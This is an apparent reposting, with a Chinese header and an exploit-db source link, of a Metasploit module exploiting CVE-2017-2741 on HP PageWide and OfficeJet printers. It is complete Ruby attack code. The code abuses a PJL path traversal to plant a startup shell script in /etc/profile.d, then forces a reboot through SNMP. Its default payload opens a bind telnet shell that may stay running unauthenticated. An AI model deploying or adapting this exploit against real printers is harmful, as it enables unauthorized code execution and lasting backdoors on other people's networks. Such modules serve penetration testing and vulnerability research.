HP Jetdirect – Path Traversal Arbitrary Code Execution (Metasploit)

  • 作者: Metasploit
    日期: 2018-08-27
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/45273/
  • ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require "rex/proto/pjl"
    
    class MetasploitModule < Msf::Exploit::Remote
    
    Rank = NormalRanking
    
    include Msf::Exploit::Remote::SNMPClient
    include Msf::Exploit::Remote::Tcp
    include Msf::Exploit::CmdStager
    
    def initialize(info = {})
    super(update_info(info,
    'Name' => 'HP Jetdirect Path Traversal Arbitrary Code Execution',
    'Description'=> %q{
    The module exploits a path traversal via Jetdirect to gain arbitrary code execution by
    writing a shell script that is loaded on startup to /etc/profile.d. Then, the printer
    is restarted using SNMP. Impacted printers:
    HP PageWide Managed MFP P57750dw
    HP PageWide Managed P55250dw
    HP PageWide Pro MFP 577z
    HP PageWide Pro 552dw
    HP PageWide Pro MFP 577dw
    HP PageWide Pro MFP 477dw
    HP PageWide Pro 452dw
    HP PageWide Pro MFP 477dn
    HP PageWide Pro 452dn
    HP PageWide MFP 377dw
    HP PageWide 352dw
    HP OfficeJet Pro 8730 All-in-One Printer
    HP OfficeJet Pro 8740 All-in-One Printer
    HP OfficeJet Pro 8210 Printer
    HP OfficeJet Pro 8216 Printer
    HP OfficeJet Pro 8218 Printer
    
    Please read the module documentation regarding the possibility for leaving an
    unauthenticated telnetd service running as a side effect of this exploit.
    },
    'Author' => [
    'Jacob Baines', # Python PoC
    'Matthew Kienow <matthew_kienow[AT]rapid7.com>', # Metasploit module
     ],
    'License'=> MSF_LICENSE,
    'References' =>
    [
    [ 'CVE', '2017-2741' ],
    [ 'URL', 'https://support.hp.com/lt-en/document/c05462914' ],
    [ 'URL', 'http://tenable.com/blog/rooting-a-printer-from-security-bulletin-to-remote-code-execution' ]
    ],
    'Targets'=> [
    ['Unix (In-Memory)',
    'Platform' => 'unix',
    'Arch' => ARCH_CMD,
    'Payload'=> {
    'Compat' => {
    'PayloadType' => 'cmd'
    }
    },
    ]
    ],
    'Privileged' => true,
    'DisclosureDate' => 'Apr 05 2017',
    'DefaultTarget'=> 0,
    'DefaultOptions' => {
    'PAYLOAD'=> 'cmd/unix/bind_busybox_telnetd',
    'WfsDelay' => 180
    }
    ))
    
    register_options(
    [
    Opt::RPORT(Rex::Proto::PJL::DEFAULT_PORT),
    OptPort.new('SNMPPORT', [true, 'The SNMP port', 161])
    ]
    )
    end
    
    def execute_command(cmd, opts = {})
    rpath = '0:/../../rw/var/etc/profile.d/'
    stager_script_name = opts[:stager_script_name]
    cmd = "(cd / && #{cmd}); rm -f /etc/profile.d/#{stager_script_name}"
    
    begin
    # use PJL to write command stager
    print_status("Connecting to port #{rport}...")
    
    pjl = Rex::Proto::PJL::Client.new(sock)
    pjl.begin_job
    
    pjl.fsinit(rpath[0..1])
    
    print_status("Attempting to write command stager...")
    rpath = "#{rpath}#{stager_script_name}"
    if pjl.fsdownload(cmd, rpath, is_file: false)
    print_good("Successfully wrote command stager to #{rpath}")
    else
    print_error("Failed to write command stager to #{rpath}")
    return
    end
    
    # verify command stager exists
    unless pjl.fsquery(rpath)
    print_error("Command stager does not exist at #{rpath}; aborting...")
    return
    end
    
    pjl.end_job
    
    rescue Rex::ConnectionError
    print_error("Connection Refused")
    raise
    end
    end
    
    def restart_printer
    pjl_port = datastore['RPORT']
    snmp_port = datastore['SNMPPORT']
    community = datastore['COMMUNITY']
    # Printer MIB prtGeneralReset object identifier (numeric notation)
    prt_general_reset = '1.3.6.1.2.1.43.5.1.1.3.1'
    # prtGeneralReset powerCycleReset(4) value
    power_cycle_reset = 4
    
    begin
    # TODO: Update when there is a clean approach to using two or more mixins that both use RPORT.
    datastore['RPORT'] = snmp_port
    print_status("Connecting to SNMP port #{rport}...")
    snmp = connect_snmp
    
    # get value of Printer MIB prtGeneralReset
    reset_value = snmp.get_value(prt_general_reset)
    reset_value = "''" if reset_value.is_a?(SNMP::Null)
    print_status("Initial value of prtGeneralReset OID #{prt_general_reset} => #{reset_value}")
    
    # set value of Printer MIB prtGeneralReset to powerCycleReset(4)
    print_status("Attempting to restart printer via SNMP...")
    varbind = SNMP::VarBind.new(prt_general_reset, SNMP::Integer.new(power_cycle_reset))
    response = snmp.set(varbind)
    
    if response.error_status == :noError
    print_status("Set prtGeneralReset OID #{prt_general_reset} => #{power_cycle_reset}")
    
    # get value of Printer MIB prtGeneralReset
    reset_value = snmp.get_value(prt_general_reset)
    reset_value = "''" if reset_value.is_a?(SNMP::Null)
    print_status("Current value of prtGeneralReset OID #{prt_general_reset} => #{reset_value}")
    print_status("Printer restarting...")
    
    else
    print_error("Unable to set prtGeneralReset; SNMP response error status: #{response.error_status}")
    end
    
    rescue SNMP::RequestTimeout
    print_error("SNMP request timeout with community '#{community}'")
    raise
    rescue SNMP::UnsupportedVersion
    print_error("Unsupported SNMP version specified; use '1' or '2c'")
    raise
    rescue Rex::ConnectionError
    print_error("Connection Refused")
    raise
    ensure
    # restore original rport value
    datastore['RPORT'] = pjl_port
    end
    end
    
    def exploit
    begin
    opts = {
    stager_script_name: "#{Rex::Text.rand_text_alpha(8)}.sh"
    }
    
    print_status("Exploiting...")
    connect
    if target.name =~ /Unix/
    execute_command(payload.encoded, opts)
    else
    execute_cmdstager(opts)
    end
    restart_printer
    
    return
    ensure
    disconnect
    end
    end
    
    end